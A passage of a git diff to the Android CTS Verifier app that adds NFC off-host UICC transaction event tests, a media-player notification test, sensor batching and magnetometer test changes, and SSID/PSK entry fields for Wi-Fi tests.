+
+    public static Intent buildReaderIntent(Context context) {
+        Intent readerIntent = new Intent(context, SimpleOffhostReaderActivity.class);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_APDUS,
+                UiccTransactionEvent2Service.APDU_COMMAND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_RESPONSES,
+                UiccTransactionEvent2Service.APDU_RESPOND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_LABEL,
+                context.getString(R.string.nfc_offhost_uicc_transaction_event2_reader));
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_DESELECT, true);
+        return readerIntent;
+    }
+
+    private void initProcess() {
+        Bundle bundle = getIntent().getExtras();
+        if(bundle != null){
+            byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
+            if(transactionData != null){
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Pass - NFC Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data:" + HceUtils.getHexBytes(null, transactionData));
+                        getPassButton().setEnabled(true);
+                    }
+                });
+            } else {
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Fail - Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data: null");
+                        getPassButton().setEnabled(false);
+                    }
+                });
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
new file mode 100644
index 0000000..2da9a1d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.content.ComponentName;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+
+public class UiccTransactionEvent2Service {
+    public static final ComponentName COMPONENT =
+            new ComponentName("com.android.cts.verifier",
+                    UiccTransactionEvent2Service.class.getName());
+
+    public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
+        HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true),
+    };
+
+    public static final String[] APDU_RESPOND_SEQUENCE = {
+        "9000",
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
new file mode 100644
index 0000000..d79674d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.annotation.TargetApi;
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.app.ProgressDialog;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+
+public class UiccTransactionEvent3EmulatorActivity extends PassFailButtons.Activity {
+    static final String TAG = "UiccTransactionEvent3EmulatorActivity";
+
+    TextView mTextView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+        mTextView.setText(R.string.nfc_offhost_uicc_transaction_event_emulator_help);
+
+        initProcess();
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+
+        setIntent(intent);
+        initProcess();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
+
+    public static Intent buildReaderIntent(Context context) {
+        Intent readerIntent = new Intent(context, SimpleOffhostReaderActivity.class);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_APDUS,
+                UiccTransactionEvent3Service.APDU_COMMAND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_RESPONSES,
+                UiccTransactionEvent3Service.APDU_RESPOND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_LABEL,
+                context.getString(R.string.nfc_offhost_uicc_transaction_event3_reader));
+        return readerIntent;
+    }
+
+    private void initProcess() {
+        Bundle bundle = getIntent().getExtras();
+        if(bundle != null){
+            byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
+            if(transactionData != null){
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Pass - NFC Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data:" + HceUtils.getHexBytes(null, transactionData));
+                        getPassButton().setEnabled(true);
+                    }
+                });
+            } else {
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Fail - Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data: null");
+                        getPassButton().setEnabled(false);
+                    }
+                });
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3Service.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3Service.java
new file mode 100644
index 0000000..a273d27
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3Service.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.content.ComponentName;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+
+public class UiccTransactionEvent3Service {
+    public static final ComponentName COMPONENT =
+            new ComponentName("com.android.cts.verifier",
+                    UiccTransactionEvent3Service.class.getName());
+
+    public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
+        HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true),
+        HceUtils.buildCommandApdu(HceUtils.HCI_CMD, true),
+    };
+
+    public static final String[] APDU_RESPOND_SEQUENCE = {
+        "9000",
+        "9000"
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEventReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEventReceiver.java
new file mode 100644
index 0000000..af8cca7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEventReceiver.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.nfc.NfcAdapter;
+import android.util.Log;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+
+import java.util.Arrays;
+
+public class UiccTransactionEventReceiver extends BroadcastReceiver {
+    final byte[] transactionData1 = new byte[]{0x54};
+    final byte[] transactionData2 = new byte[]{0x52};
+    final byte[] transactionData3 = new byte[]{0x02};
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.d("UiccTransactionEventReceiver", "onReceive ");
+        if(intent != null){
+            Log.d("UiccTransactionEventReceiver", "uri : " + intent.getDataString());
+            byte[] transactionData = intent.getByteArrayExtra(NfcAdapter.EXTRA_DATA);
+            Log.d("UiccTransactionEventReceiver", "data " + HceUtils.getHexBytes(null, transactionData));
+            if (Arrays.equals(transactionData, transactionData1)) {
+                intent.setClassName(context.getPackageName(), UiccTransactionEvent1EmulatorActivity.class.getName());
+            } else if (Arrays.equals(transactionData, transactionData2)) {
+                intent.setClassName(context.getPackageName(), UiccTransactionEvent2EmulatorActivity.class.getName());
+            } else if (Arrays.equals(transactionData, transactionData3)) {
+                intent.setClassName(context.getPackageName(), UiccTransactionEvent3EmulatorActivity.class.getName());
+            }
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            context.startActivity(intent);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
new file mode 100644
index 0000000..eb6a681
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.notifications;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.media.MediaMetadata;
+import android.media.session.MediaSession;
+import android.media.session.PlaybackState;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests for media player shown in quick setting when media style notification is posted.
+ */
+public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
+
+    // Pieces of the media session.
+    private static final String SESSION_KEY = "Session";
+    private static final String SESSION_TITLE = "Song";
+    private static final String SESSION_ARTIST = "Artist";
+    private static final long SESSION_DURATION = 60000L;
+
+    // Pieces of the media style notification.
+    private static final String TITLE = "Media-style Notification";
+    private static final String TEXT = "Notification for a test media session";
+    private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
+
+    private MediaSession mSession;
+    private NotificationManager mManager;
+    private Notification.Builder mBuilder;
+
+    @Override
+    public List<InteractiveTestCase> createTestItems() {
+        List<InteractiveTestCase> cases = new ArrayList<>();
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_song_and_artist));
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_album_art));
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
+        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_compact_actions));
+        return cases;
+    }
+
+    @Override
+    public int getInstructionsResource() {
+        return R.string.qs_media_player_info;
+    }
+
+    @Override
+    public int getTitleResource() {
+        return R.string.qs_media_player_test;
+    }
+
+    private class MediaPlayerTestCase extends InteractiveTestCase {
+        private final int mDescriptionResId;
+
+        MediaPlayerTestCase(int resId) {
+            mDescriptionResId = resId;
+        }
+
+        @Override
+        protected void setUp() {
+            postMediaStyleNotification();
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            cancelMediaStyleNotification();
+        }
+
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, mDescriptionResId);
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
+
+    private void postMediaStyleNotification() {
+        mManager = this.getSystemService(NotificationManager.class);
+        mSession = new MediaSession(this, SESSION_KEY);
+
+        // create a solid color bitmap to use as album art in media metadata
+        Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
+        new Canvas(bitmap).drawColor(Color.YELLOW);
+
+        // set up media session with metadata and playback state
+        mSession.setMetadata(new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
+                .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
+                .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
+                .build());
+        mSession.setPlaybackState(new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
+                .setActions(PlaybackState.ACTION_SEEK_TO | PlaybackState.ACTION_PLAY |
+                        PlaybackState.ACTION_PAUSE)
+                .build());
+
+        // set up notification builder
+        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
+                NotificationManager.IMPORTANCE_LOW);
+        mManager.createNotificationChannel(channel);
+        mBuilder = new Notification.Builder(this, CHANNEL_ID)
+                .setContentTitle(TITLE).setContentText(TEXT)
+                .setSmallIcon(R.drawable.ic_android)
+                .setStyle(new Notification.MediaStyle()
+                        .setShowActionsInCompactView(1, 2, 3)
+                        .setMediaSession(mSession.getSessionToken()))
+                .setColor(Color.BLUE)
+                .setColorized(true)
+                .addAction(android.R.drawable.ic_media_rew, "rewind", null)
+                .addAction(android.R.drawable.ic_media_previous, "previous track", null)
+                .addAction(android.R.drawable.ic_media_pause, "pause", null)
+                .addAction(android.R.drawable.ic_media_next, "next track", null)
+                .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
+
+        mSession.setActive(true);
+        mManager.notify(1, mBuilder.build());
+    }
+
+    private void cancelMediaStyleNotification() {
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
+        if (mManager != null) {
+            mManager.cancelAll();
+            mManager.deleteNotificationChannel(CHANNEL_ID);
+            mManager = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 348c7a3..c635264 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -674,7 +674,7 @@
                     } else if (payload.getString(JSON_PACKAGE).equals(mPackageString)) {
                         found.add(tag);
                         boolean lastAudiblyAlertedSet
-                                = payload.getLong(JSON_LAST_AUDIBLY_ALERTED) > -1;
+                                = payload.getLong(JSON_LAST_AUDIBLY_ALERTED) > 0;
                         if (lastAudiblyAlertedSet) {
                             logWithStack(
                                     "noisy notification test: getLastAudiblyAlertedMillis set "
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index 9689193..9a1ed4a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.sensors;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
 
@@ -24,6 +25,7 @@
 import android.hardware.SensorManager;
 import android.hardware.cts.helpers.TestSensorEnvironment;
 import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
 
 import java.util.concurrent.TimeUnit;
 
@@ -81,26 +83,22 @@
                 R.string.snsr_batching_walking_needed);
     }
 
+    @CddTest(requirement="7.3.8/C-1-1,C-1-2")
     @SuppressWarnings("unused")
     public String testProximity_batching() throws Throwable {
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
-            return null;
-        }
         return runBatchTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
-                R.string.snsr_interaction_needed);
+                R.string.snsr_interaction_needed_prox);
     }
 
+    @CddTest(requirement="7.3.8/C-1-1,C-1-2")
     @SuppressWarnings("unused")
     public String testProximity_flush() throws Throwable {
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
-            return null;
-        }
         return runFlushTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
-                R.string.snsr_interaction_needed);
+                R.string.snsr_interaction_needed_prox);
     }
 
     @SuppressWarnings("unused")
@@ -134,6 +132,13 @@
         int testDurationSec = maxBatchReportLatencySec + BATCHING_PADDING_TIME_S;
         TestSensorOperation operation =
                 TestSensorOperation.createOperation(environment, testDurationSec,TimeUnit.SECONDS);
+
+        // Expect at least 2 events (for on-change: initial value + changed value; for step sensors
+        // multiple values for walking).
+        EventBasicVerification verification =
+                new EventBasicVerification(2 /* expectedMinNumEvent */, environment.getSensor());
+        operation.addVerification(verification);
+
         return executeTest(operation);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/HingeAngleTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/HingeAngleTestActivity.java
index aebc6cf..cdde74e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/HingeAngleTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/HingeAngleTestActivity.java
@@ -52,7 +52,7 @@
      *  - Duplicate values are not seen back-to-back.
      */
     private String verifyMeasurements(int instructionsResId) throws Throwable {
-        Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_HINGE_ANGLE, true);
+        Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_HINGE_ANGLE);
         TestSensorEnvironment environment = new TestSensorEnvironment(
                 getApplicationContext(),
                 wakeUpSensor,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
index 1625dd3..7591fa2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
@@ -18,6 +18,7 @@
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
+import com.android.cts.verifier.sensors.helpers.SensorFeaturesDeactivator;
 
 import android.hardware.Sensor;
 import android.hardware.SensorEvent;
@@ -31,6 +32,11 @@
 import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
 import android.hardware.cts.helpers.sensorverification.OffsetVerification;
 import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
+import android.hardware.GeomagneticField;
+import android.location.Location;
+import android.location.LocationManager;
+import android.content.Context;
+import java.util.List;
 
 /**
  * Semi-automated test that focuses characteristics associated with Accelerometer measurements.
@@ -40,6 +46,8 @@
  */
 public class MagneticFieldMeasurementTestActivity extends SensorCtsVerifierTestActivity {
     private static final float THRESHOLD_CALIBRATED_UNCALIBRATED_UT = 3f;
+    private static final float NANOTESLA_TO_MICROTESLA = 1.0f / 1000;
+    private static final int LOCATION_TRIES = 2;
 
     public MagneticFieldMeasurementTestActivity() {
         super(MagneticFieldMeasurementTestActivity.class);
@@ -47,6 +55,8 @@
 
     @Override
     public void activitySetUp() throws InterruptedException {
+        SensorFeaturesDeactivator sensorFeaturesDeactivator = new SensorFeaturesDeactivator(this);
+        sensorFeaturesDeactivator.requestToSetLocationMode(true /* state */);
         calibrateMagnetometer();
     }
 
@@ -81,10 +91,42 @@
         TestSensorOperation verifyNorm =
                 TestSensorOperation.createOperation(environment, 100 /* event count */);
 
-        float expectedMagneticFieldEarth =
-                (SensorManager.MAGNETIC_FIELD_EARTH_MAX + SensorManager.MAGNETIC_FIELD_EARTH_MIN) / 2;
-        float magneticFieldEarthThreshold =
-                expectedMagneticFieldEarth - SensorManager.MAGNETIC_FIELD_EARTH_MIN;
+        float expectedMagneticFieldEarth;
+        float magneticFieldEarthThreshold = (SensorManager.MAGNETIC_FIELD_EARTH_MAX
+                - SensorManager.MAGNETIC_FIELD_EARTH_MIN) / 2;
+
+        Location location = null;
+        LocationManager lm = (LocationManager) getApplicationContext().getSystemService(
+                Context.LOCATION_SERVICE);
+
+        int tries = LOCATION_TRIES;
+        while (lm != null && location == null && tries > 0)  {
+            tries--;
+            List<String> providers = lm.getProviders(true /* enabledOnly */);
+            int providerIndex = providers.size();
+            while (providerIndex > 0 && location == null) {
+                providerIndex--;
+                location = lm.getLastKnownLocation(providers.get(providerIndex));
+            }
+            if (location == null) {
+                getTestLogger().logMessage(R.string.snsr_mag_move_outside);
+                waitForUserToContinue();
+            }
+        }
+
+        if (location == null) {
+            expectedMagneticFieldEarth = (SensorManager.MAGNETIC_FIELD_EARTH_MAX
+                    + SensorManager.MAGNETIC_FIELD_EARTH_MIN) / 2;
+            getTestLogger().logMessage(R.string.snsr_mag_no_location, expectedMagneticFieldEarth);
+            waitForUserToContinue();
+        } else {
+            GeomagneticField geomagneticField = new GeomagneticField((float) location.getLatitude(),
+                    (float) location.getLongitude(), (float) location.getAltitude(),
+                    location.getTime());
+            expectedMagneticFieldEarth =
+                    geomagneticField.getFieldStrength() * NANOTESLA_TO_MICROTESLA;
+        }
+
         verifyNorm.addVerification(new MagnitudeVerification(
                 expectedMagneticFieldEarth,
                 magneticFieldEarthThreshold));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
old mode 100644
new mode 100755
index c4ad958..e2989ac
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
@@ -602,7 +602,12 @@
                 nextButtonText = R.string.next_button_text;
                 break;
         }
-        mNextButton.setText(nextButtonText);
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mNextButton.setText(nextButtonText);
+            }
+        });
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/SensorFeaturesDeactivator.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/SensorFeaturesDeactivator.java
index 60dc633..2858adb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/SensorFeaturesDeactivator.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/helpers/SensorFeaturesDeactivator.java
@@ -66,6 +66,11 @@
         mStateContainer.waitForUserToContinue();
     }
 
+    public synchronized void requestToSetLocationMode(boolean state) throws InterruptedException {
+        mLocationMode.captureInitialState();
+        mLocationMode.requestToSetMode(mStateContainer, state);
+    }
+
     public synchronized void requestToRestoreFeatures() throws InterruptedException {
         if (Thread.currentThread().isInterrupted()) {
             // TODO: in the future, if the thread is interrupted, we might need to serialize the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestActivity.java
index 4db3766..8c4466d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestActivity.java
@@ -19,8 +19,13 @@
 import android.content.Context;
 import android.os.Bundle;
 import android.os.Handler;
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.util.Log;
 import android.view.View;
 import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.EditText;
 import android.widget.ProgressBar;
 import android.widget.TextView;
 
@@ -32,11 +37,15 @@
  */
 public abstract class BaseTestActivity extends PassFailButtons.Activity implements
         BaseTestCase.Listener {
+    private static final String TAG = "BaseTestActivity";
     /*
      * Handles to GUI elements.
      */
     private TextView mWifiInfo;
     private ProgressBar mWifiProgress;
+    private Button mStartButton;
+    private EditText mSsidEditText;
+    private EditText mPskEditText;
 
     /*
      * Test case to be executed
@@ -45,6 +54,9 @@
 
     private Handler mHandler = new Handler();
 
+    private String mSsidValue;
+    private String mPskValue;
+
     protected abstract BaseTestCase getTestCase(Context context);
 
     @Override
@@ -57,6 +69,39 @@
         // Get UI component.
         mWifiInfo = (TextView) findViewById(R.id.wifi_info);
         mWifiProgress = (ProgressBar) findViewById(R.id.wifi_progress);
+        mStartButton = findViewById(R.id.wifi_start_test_btn);
+        mSsidEditText = findViewById(R.id.wifi_ssid);
+        mPskEditText = findViewById(R.id.wifi_psk);
+        mSsidEditText.addTextChangedListener(new TextWatcher() {
+            @Override
+            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {}
+
+            @Override
+            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {}
+
+            @Override
+            public void afterTextChanged(Editable editable) {
+                mSsidValue = editable.toString();
+                mStartButton.setEnabled(true);
+            }
+        });
+        mPskEditText.addTextChangedListener(new TextWatcher() {
+            @Override
+            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {}
+
+            @Override
+            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {}
+
+            @Override
+            public void afterTextChanged(Editable editable) {
+                mPskValue = editable.toString();
+            }
+        });
+        mStartButton.setEnabled(false);
+        mStartButton.setOnClickListener(view -> {
+            mTestCase.start(this, mSsidValue, mPskValue == null ? "" : mPskValue);
+            mWifiProgress.setVisibility(View.VISIBLE);
+        });
 
         // Initialize test components.
         mTestCase = getTestCase(this);
@@ -66,13 +111,6 @@
     }
 
     @Override
-    protected void onStart() {
-        super.onStart();
-        mTestCase.start(this);
-        mWifiProgress.setVisibility(View.VISIBLE);
-    }
-
-    @Override
     protected void onStop() {
         super.onStop();
         mTestCase.stop();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestCase.java
index 2ab8bdb..3fc95d6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/BaseTestCase.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.wifi;
 
+import android.annotation.NonNull;
 import android.content.Context;
 import android.content.res.Resources;
 import android.net.wifi.WifiManager;
@@ -30,6 +31,7 @@
  */
 public abstract class BaseTestCase {
     private static final String TAG = "BaseTestCase";
+
     protected Context mContext;
     protected Resources mResources;
     protected Listener mListener;
@@ -40,6 +42,9 @@
     protected WifiManager mWifiManager;
     protected TestUtils mTestUtils;
 
+    protected String mSsid;
+    protected String mPsk;
+
     public BaseTestCase(Context context) {
         mContext = context;
         mResources = mContext.getResources();
@@ -95,8 +100,10 @@
      * <p>
      * Test case is executed in another thread.
      */
-    public void start(Listener listener) {
+    public void start(@NonNull Listener listener, @NonNull String ssid, @NonNull String psk) {
         mListener = listener;
+        mSsid = ssid;
+        mPsk = psk;
 
         stop();
         mHandlerThread = new HandlerThread("CtsVerifier-Wifi");
